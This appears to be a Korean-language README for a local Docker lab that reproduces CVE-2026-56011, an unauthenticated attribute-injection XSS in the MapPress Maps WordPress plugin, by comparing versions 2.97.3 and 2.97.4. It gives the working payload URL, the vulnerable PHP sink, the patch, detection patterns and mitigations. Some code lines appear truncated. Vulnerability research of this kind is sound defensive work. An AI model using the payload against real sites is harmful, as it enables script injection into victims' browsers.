
CVE-2026-56011을 재현하고 검증하기 위한 Docker 기반 랩, WordPress용 MapPress Maps의 인증되지 않은 XSS 취약점, 취약한 대상과 패치된 대상 비교.
이 저장소는 MapPress Maps for WordPress에 영향을 미치는 무인증 크로스사이트 스크립팅(Cross-Site Scripting) 취약점인 CVE-2026-56011을 재현하고 검증하기 위한 로컬 Docker 랩입니다.
MapPress Maps for WordPress는 WordPress 페이지와 게시물 내부에 지도를 렌더링하는 데 사용되는 WordPress 플러그인입니다. 취약한 동작은 mappress=embed 요청 매개변수를 통해 접근 가능한 iframe 지도 렌더링 경로에 영향을 미칩니다.
이 랩은 두 가지 MapPress 버전을 비교합니다:
| 서비스 | MapPress 버전 | 용도 | URL |
|---|
| vuln | 2.97.3 | 취약한 비교 대상 | http://localhost:8081 |
| patched | 2.97.4 | 패치된 비교 대상 | http://localhost:8082 |
이 로컬 랩에서 시연된 검증 경로는 다음과 같습니다:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
취약한 대상은 이 수동 브라우저 URL을 사용합니다:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
예상 취약 결과:```text Click on the rendered MapPress component → alert(1) pops up
패치된 대상은 MapPress 2.97.4에 대해 동일한 페이로드를 사용합니다:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
예상 패치 결과:```text Click on the rendered MapPress component → no alert appears
이 실습은 의도적으로 수동 브라우저 검증만 사용합니다. PoC 스크립트, 브라우저 자동화, 자격 증명 탈취, 외부 콜백, 악성코드, 지속성, 사후 침투 활동 또는 외부 시스템에 대한 공격은 포함하지 않습니다.
## 확인된 사실
| 주장 | 근거 | 이 실습에서 확인하는 방법 |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011은 MapPress Maps for WordPress에 영향을 미칩니다. | 공개 취약점 권고는 영향을 받는 WordPress 플러그인을 MapPress Maps for WordPress로 식별합니다. | 참고 자료 섹션을 검토하고 두 Docker 대상에 설치된 플러그인을 검사합니다. |
| 이 실습에서 취약한 비교 버전은 MapPress 2.97.3입니다. | `vuln` 서비스는 `MAPPRESS_VERSION: 2.97.3`을 사용하여 플러그인을 빌드합니다. | `docker-compose.yml`과 `vuln/Dockerfile`을 검사합니다. |
| 이 실습에서 패치된 비교 버전은 MapPress 2.97.4입니다. | `patched` 서비스는 `MAPPRESS_VERSION: 2.97.4`을 사용하여 플러그인을 빌드합니다. | `docker-compose.yml`과 `patched/Dockerfile`을 검사합니다. |
| MapPress 2.97.4는 관련 iframe 이스케이프 수정을 도입했습니다. | 2.97.4의 공식 플러그인 변경 로그에는 `Added: escape in iframe`이라고 나와 있습니다. | 공식 WordPress 플러그인 변경 로그를 검토하고 취약한 소스와 패치된 소스를 비교합니다. |
| 취약한 소스는 지도 이름을 따옴표 없이 웹 구성 요소 `id`에 렌더링합니다. | 2.97.3에서 `mappress_map.php`는 `<mappress-map id={$name} ...>`을 렌더링합니다. | 2.97.3 소스와 2.97.4 소스를 비교합니다. |
| 패치된 소스는 `id` 값을 따옴표로 묶고 이스케이프합니다. | 2.97.4에서 `mappress_map.php`는 `esc_attr($name)`과 함께 `id="`을 렌더링합니다. | 2.97.3과 2.97.4 간의 패치 diff를 비교합니다. |
| iframe 경로는 인증 없이 접근할 수 있습니다. | MapPress는 `$_GET['mappress']`가 있을 때 `template_redirect`를 등록합니다. | 로그인하지 않고 브라우저에서 `/?mappress=embed...`를 요청합니다. |
| iframe 경로는 요청에서 지도 속성을 읽습니다. | `template_redirect()`는 `$_GET`을 지도 인수에 매핑하고 iframe 렌더러를 호출합니다. | `mappress.php`를 검사하고 수동 URL을 재현합니다. |
| 취약한 대상은 `name`을 통한 속성 주입을 허용합니다. | 조작된 name 값은 따옴표 없는 `id` 속성에서 벗어나 `onclick=alert(1)`이 될 수 있습니다. | 취약한 수동 URL을 열고 렌더링된 MapPress 구성 요소를 클릭합니다. |
| 패치된 대상은 테스트된 속성 주입 동작을 차단합니다. | 패치된 출력은 전체 페이로드를 따옴표로 묶인 `id` 속성 안에 유지합니다. | 패치된 수동 URL을 열고 렌더링된 MapPress 구성 요소를 클릭합니다. |
## 가정 및 미지의 사항
이 실습은 공개 권고가 2.97.3 이하 버전을 영향을 받는 것으로 식별하고, 소스 diff가 해당 버전에서 취약한 따옴표 없는 속성 렌더링을 보여주기 때문에 MapPress 2.97.3을 취약한 비교 대상으로 사용합니다.
이 실습은 공개 권고가 2.97.4를 수정된 버전으로 식별하고, 공식 변경 로그가 iframe 경로에 이스케이프가 추가되었다고 명시하기 때문에 MapPress 2.97.4를 패치된 비교 대상으로 사용합니다.
테스트된 취약한 동작은 인증되지 않은 iframe 렌더링 경로입니다:```text
GET /?mappress=embed&name=<crafted-value>
이 랩은 무해한 alert 페이로드를 브라우저에서 수동으로 실행하는 데 초점을 맞춥니다:```text name=cve56011 onclick=alert(1)
이 랩은 저장형 전달 체인을 입증하려 시도하지 않습니다. 일부 공개 보안 권고에서는 이 취약점을 저장형 XSS로 분류합니다. 이 저장소는 소스 코드에서 확인된 iframe 렌더링 싱크와, 인증되지 않은 `mappress=embed` 경로를 통해 로컬에서 재현할 수 있는 취약 버전과 패치 버전 간의 동작 차이에 초점을 맞춥니다.
이 랩은 다음을 시연하지 않습니다:
* 저장된 페이로드의 지속성,
* WordPress 계정 침해,
* 관리자 세션 탈취,
* nonce 탈취,
* 외부 콜백,
* 블라인드 XSS 수집,
* 자격 증명 탈취,
* 데이터베이스 덤프,
* 악성코드,
* 지속성,
* 또는 실험실 외 시스템에 대한 공격.
수동 브라우저 검증은 보안 관련 렌더링 차이를 입증합니다:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
CVE-2026-56011의 근본 원인은 MapPress가 iframe 맵 출력 경로 내부에서 웹 컴포넌트를 렌더링할 때 맵 name 값에 대한 출력 인코딩이 잘못된 것입니다.
취약한 코드 경로는 요청의 맵 렌더링 속성을 받아들여 결국 사용자 정의 HTML 요소를 렌더링합니다:```html <mappress-map ...>
MapPress 2.97.3에서 맵 이름은 따옴표 없이 그리고 속성 컨텍스트 이스케이프 없이 `id` 속성에 직접 삽입됩니다:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
이것은 값이 HTML 속성 컨텍스트에서 사용되므로 안전하지 않습니다. 공격자가 name을 제어할 수 있다면, 공백을 포함한 값은 의도된 id 값을 종료시키고 새 속성을 삽입할 수 있습니다.
취약한 동작은 다음과 같이 요약할 수 있습니다:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
중요한 점은 일반적인 텍스트 정화(sanitization)는 올바른 출력 이스케이프(escaping)와 동일하지 않다는 것입니다.
취약한 코드는 맵 이름에 `sanitize_text_field()`를 사용하지만, 이는 값을 따옴표로 묶지 않은 HTML 속성에 안전하게 만들지 않습니다.
HTML 속성에서 공백은 속성과 속성을 구분하기 때문에 여전히 의미를 지닙니다.
따라서 보안 문제는 다음과 같습니다:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
패치된 버전은 렌더링 시 id 값을 따옴표로 묶고 이스케이프하도록 변경합니다:```php
return "
패치된 동작은 다음과 같이 요약할 수 있습니다:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
보안 교훈은 다음과 같습니다:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## 소스 코드 분석
소스 수준의 문제는 MapPress 2.97.3과 MapPress 2.97.4를 비교하여 확인되었습니다.
주요 렌더링 싱크는 다음 위치에 있습니다:```text
mappress_map.php
취약한 버전은 name 값을 따옴표로 묶지 않은 id 속성으로 렌더링합니다:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
패치된 버전은 속성을 따옴표로 묶고 값을 이스케이프합니다:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
The iframe 라우트는 요청에 mappress 쿼리 매개변수가 포함되어 있을 때 등록됩니다:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
iframe 요청 핸들러는 쿼리 매개변수를 맵 인자로 매핑합니다:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
그런 다음 핸들러는 맵 객체를 생성하거나 로드하고 이를 요청 인수로 업데이트합니다:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
iframe 헬퍼는 지도 콘텐츠를 렌더링합니다:```php
$content = $map->display(null, true);
display() 경로는 제공된 비어 있지 않은 name 값을 보존합니다:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
즉, 요청에서 제공된 `name` 값이 취약한 렌더링 싱크에 도달할 수 있습니다.
보안 관련 흐름은 다음과 같습니다:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
생성된 맵 속성의 나머지는 속성을 인용하는 헬퍼를 통해 처리됩니다. 취약한 id 렌더링은 name이 분리되어 렌더링되기 때문에 특별합니다.
이로 인해 취약한 표면이 좁아지고 검증하기 쉬워집니다:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## 소스 패치 요약
MapPress 2.97.4는 생성된 `<mappress-map>` 요소의 `id` 속성 값을 인용하고 이스케이프 처리하여 취약한 iframe 렌더링 동작을 수정합니다.
취약한 출력 패턴은 다음과 같습니다:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
이 출력에서 브라우저는 다음을 파싱합니다:```text id = cve56011 onclick = alert(1)
패치된 출력 패턴은 다음과 같습니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
이 출력에서 브라우저는 다음을 파싱합니다:```text id = cve56011 onclick=alert(1)
단독 `onclick` 속성은 생성되지 않습니다.
보안 관련 패치는 다음과 같습니다:```text
Before:
id={$name}
After:
id="<escaped name>"
소스 수준 수정은 작지만, 해당 경로가 iframe 임베드 엔드포인트를 통해 인증 없이 도달 가능하므로 보안 영향은 실질적입니다.
이 랩은 소스 리뷰와 런타임 검증을 분리하여 유지합니다:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## 랩 아키텍처
이 랩은 Docker Compose를 통해 두 개의 격리된 WordPress 대상을 실행합니다.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
There is intentionally no poc/ directory. The validation is manual and browser-based.
The two WordPress services use separate databases and separate WordPress volumes:
| Service | Component | Version / Role |
|---|---|---|
| db-vuln | MariaDB | vulnerable WordPress용 데이터베이스 |
| db-patched | MariaDB | patched WordPress용 데이터베이스 |
| vuln | WordPress | MapPress 2.97.3이 설치된 취약한 대상 |
| patched | WordPress | MapPress 2.97.4가 설치된 패치된 대상 |
| wpcli-vuln | WP-CLI | WordPress 설치 및 플러그인 활성화 |
| wpcli-patched | WP-CLI | WordPress 설치 및 플러그인 활성화 |
Default exposed services:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
이 랩은 고정된 MapPress 플러그인 버전을 사용합니다:
| 대상 | MapPress 버전 | 예상 동작 |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | 조작된 컴포넌트를 클릭하면 alert(1)이 실행됨 |
| http://localhost:8082 | 2.97.4 | 조작된 컴포넌트를 클릭해도 alert(1)이 실행되지 않음 |
Docker 빌드는 공식 WordPress 플러그인 다운로드 엔드포인트에서 각 대상에 대한 정확한 플러그인 ZIP을 다운로드합니다:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
WP-CLI 서비스는 랩 시작 중에 자동으로 실행됩니다. 각 대상에 WordPress를 설치하고 MapPress를 활성화합니다.
이 랩은 취약한 MapPress 경로를 생성하거나 수정하지 않습니다. 해당 경로는 각 대상에 설치된 실제 MapPress 플러그인 버전에서 제공됩니다.
Python 종속성은 필요하지 않습니다.
PoC 스크립트는 필요하지 않습니다.
수동 XSS 검증에는 WordPress 로그인이 필요하지 않습니다.
클린 상태에서 랩을 시작합니다:```bash docker compose down -v --remove-orphans docker compose up -d --build
서비스 상태 확인:```bash
docker compose ps
예상 실행 서비스:```text db-vuln db-patched vuln patched
예상 노출 대상:```text
http://localhost:8081
http://localhost:8082
WordPress 설치 및 플러그인 활성화가 완료되었는지 확인하세요:```bash docker compose logs wpcli-vuln wpcli-patched
예상 설정 메시지:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
설정이 완료된 후, WordPress 로그인 페이지는 HTTP 200을 반환해야 합니다:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
루트 페이지가 일시적으로 `/wp-admin/install.php`로 리디렉션되면 WP-CLI 설정이 아직 완료되지 않았을 수 있습니다. `wpcli-vuln` 및 `wpcli-patched` 로그에 설정 완료 메시지가 표시될 때까지 기다린 후 다시 시도하세요.
## 수동 Alert XSS 검증
이 랩은 브라우저 수동 검증만 사용합니다.
PoC 스크립트는 포함되어 있지 않습니다.
로그인이 필요하지 않습니다.
### 취약 대상
브라우저에서 이 URL을 여십시오:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 MapPress 컴포넌트를 클릭합니다.
예상 취약 결과:```text alert(1) pops up
보안 의미:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
취약한 브라우저 파싱 동작은 다음과 동일합니다:```html <mappress-map id=cve56011 onclick=alert(1) ...>
브라우저는 이를 다음과 같이 처리합니다:```text
id = cve56011
onclick = alert(1)
컴포넌트를 클릭하면 이벤트 핸들러가 실행됩니다.
브라우저에서 이 URL을 엽니다:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 MapPress 구성 요소를 클릭합니다.
예상되는 패치 결과:```text
No alert appears.
Security meaning:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
패치된 브라우저 파싱 동작은 다음과 동일합니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
브라우저는 이를 다음과 같이 처리합니다:```text id = cve56011 onclick=alert(1)
실행 가능한 `onclick` 속성이 생성되지 않습니다.
## 예상 결과
### 취약한 대상
수동 브라우저 URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 컴포넌트를 클릭한 후의 예상 결과:```text alert(1) pops up
예상 분류:```text
VULNERABLE_BEHAVIOR_OBSERVED
중요한 취약 신호는 다음과 같습니다:```text MapPress 2.97.3
### 패치된 대상
수동 브라우저 URL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 컴포넌트를 클릭한 후의 예상 결과:```text No alert appears.
예상 분류:```text
BLOCKED_BEHAVIOR_OBSERVED
중요한 패치된 신호는 다음과 같습니다:```text MapPress 2.97.4
## 검증 작동 방식
수동 검증은 브라우저 요청을 MapPress iframe 렌더링 경로로 보냅니다:```text
/?mappress=embed
요청에는 조작된 name 값이 포함됩니다:```text
cve56011 onclick=alert(1)
취약한 전체 요청은 다음과 같습니다:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
패치된 전체 요청은 다음과 같습니다:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
In MapPress 2.97.3에서 `name` 값은 따옴표로 묶이지 않은 `id` 속성에 삽입됩니다:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
속성이 따옴표로 묶여 있지 않기 때문에 cve56011 뒤의 공백은 새 속성을 시작합니다.
브라우저는 출력을 다음과 같이 해석합니다:```text id="cve56011" onclick="alert(1)"
렌더링된 컴포넌트를 클릭하면, 주입된 이벤트 핸들러가 실행됩니다.
MapPress 2.97.4에서는 동일한 값이 이스케이프 처리되고 따옴표로 묶입니다:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
브라우저는 전체 페이로드를 단일 id 값으로 해석합니다.
이벤트 핸들러는 생성되지 않습니다.
검증은 의도적으로 수동으로 수행되는데, 브라우저에 표시되는 XSS 동작을 직접 보여주는 것이 목표이기 때문입니다:```text vulnerable target → click → alert(1)
patched target → click → no alert
## 수동 브라우저 재현
랩 시작:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
설정이 완료될 때까지 기다리세요:```bash docker compose logs wpcli-vuln wpcli-patched
예상 설정 완료:```text
vuln setup complete
patched setup complete
취약한 대상 열기:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 MapPress 컴포넌트를 클릭합니다.
예상 결과:```text
alert(1)
패치된 대상 열기:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
렌더링된 MapPress 구성 요소를 클릭합니다.
예상 결과:```text
No alert
포트폴리오 글에 권장되는 스크린샷 증거:```text
## 영향
CVE-2026-56011은 인증되지 않은 공격자가 렌더링된 지도 컴포넌트에 JavaScript를 주입하는 MapPress iframe URL을 제작할 수 있기 때문에 보안에 민감합니다.
실제 영향은 악성 URL이 어떻게 전달되는지, 그리고 어떤 사용자가 이를 여는지에 따라 달라집니다.
가능한 영향에는 다음이 포함될 수 있습니다:
* 피해자 브라우저에서 공격자가 제어하는 JavaScript 실행,
* 영향을 받는 WordPress 오리진 내에서의 피싱 또는 UI 조작,
* 동일 출처의 HttpOnly가 아닌 데이터에 대한 접근,
* 추가 애플리케이션 조건이 허용되는 경우 피해자로서 수행되는 작업,
* CSRF 토큰 또는 보호되지 않은 페이지 데이터 탈취,
* 그리고 신뢰할 수 있는 WordPress 사이트 컨텍스트의 악용.
이 랩은 무해한 로컬 alert 페이로드만 시연합니다:```text
onclick=alert(1)
이 랩은 세션 탈취, 자격 증명 탈취, 관리자 계정 탈취, 악의적인 외부 JavaScript 로드, 블라인드 XSS 수집 또는 공개 WordPress 사이트에 대한 공격을 시연하지 않습니다.
프로덕션 환경에서의 실질적인 위험은 다음에 따라 달라집니다:
잠재적 지표에는 MapPress iframe 렌더링 경로에 대한 요청이 포함됩니다:```text GET /?mappress=embed
의심스러운 쿼리 매개변수에는 `name` 매개변수에 JavaScript 관련 문자열이 포함될 수 있습니다:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
고신호 감지 아이디어:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
의심스러운 요청 예시:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
웹 서버 로그 또는 원격 측정(telemetry) 검토 항목:
mappress=embed 요청,name 값,권장 모니터링 조치:
mappress=embed에 대한 액세스 로그 검토.%20onclick%3D와 같은 인코딩된 페이로드 검색.name 매개변수 값에 대한 알림 설정.WordPress용 MapPress Maps를 버전 2.97.4 이상으로 업그레이드하세요.
관련 패치는 iframe 지도 출력을 변경하여 생성된 웹 컴포넌트 id 속성이 따옴표로 묶이고 이스케이프되도록 합니다.
보안 관련 동작:```text Before: id={$name}
After: id=""
권장 완화 조치:
* WordPress용 MapPress Maps를 2.97.4 이상으로 업그레이드하세요.
* 실험실 비교 버전에 머무르지 말고 사용 가능한 최신 플러그인 버전을 사용하세요.
* 설치된 플러그인 버전이 영향을 받는 범위에 속하지 않는지 확인하세요.
* 업데이트 후 페이지 캐시와 CDN 캐시를 지우세요.
* 의심스러운 `mappress=embed` 요청이 있는지 액세스 로그를 검토하세요.
* 의심스러운 `name` 매개변수 값을 로그에서 검색하세요.
* 이벤트 핸들러가 포함된 `mappress=embed` 요청에 대한 임시 WAF 규칙을 고려하세요.
* WordPress 관리자 기능의 불필요한 노출을 제한하세요.
* 호환되는 경우 제한적인 Content Security Policy를 사용하세요.
* WordPress 코어, 테마, 플러그인을 최신 상태로 유지하세요.
보안 엔지니어링 교훈:
* 모든 HTML 속성을 따옴표로 묶으세요.
* 정확한 출력 컨텍스트에 맞게 출력을 이스케이프하세요.
* WordPress HTML 속성 출력에는 `esc_attr()`을 사용하세요.
* `sanitize_text_field()`를 출력 이스케이프의 대체 수단으로 의존하지 마세요.
* iframe 및 숏코드 렌더링 경로에 대한 회귀 테스트를 추가하세요.
* 사용자 지정 웹 컴포넌트 렌더링을 검토하세요. 사용자 지정 태그도 일반 HTML 구문 분석 규칙을 따르기 때문입니다.
## 안전 경계
이 실습 환경은 로컬 보안 연구 및 통제된 데모 전용입니다.
소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 수동 XSS URL을 사용하지 마세요.
이 실습 환경에서는 실제 프로덕션 자격 증명, 고객 데이터, 결제 데이터, API 키, 데이터베이스 자격 증명 또는 프로덕션 비밀을 사용하지 마세요.
의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
수동 페이로드는 의도적으로 무해합니다:```text onclick=alert(1)
이 실험실에는 다음을 위한 페이로드는 포함되어 있지 않습니다:
* 쿠키 도용,
* 자격 증명 도용,
* CSRF 토큰 도용,
* 관리자 작업 남용,
* 외부 콜백,
* 블라인드 XSS 수집,
* 악성코드,
* 지속성,
* 피싱 키트,
* 브라우저 악용,
* 측면 이동,
* 고객 데이터 접근,
* 또는 실험실 외 시스템에 대한 공격.
목표는 통제된 환경에서 하나의 특정 기술적 조건을 시연하는 것입니다:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
컨테이너, 네트워크 및 볼륨을 중지하고 제거합니다:```bash docker compose down -v --remove-orphans
Remove locally built lab images if desired:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
남아 있는 랩 컨테이너가 없는지 확인하세요:```bash docker compose ps
## 참조
* CVE 레코드: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* WordPress 플러그인: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* WordPress 플러그인 변경 로그: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* WPScan 취약점 데이터베이스: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* WordPress 플러그인 다운로드: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* WordPress 플러그인 다운로드: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip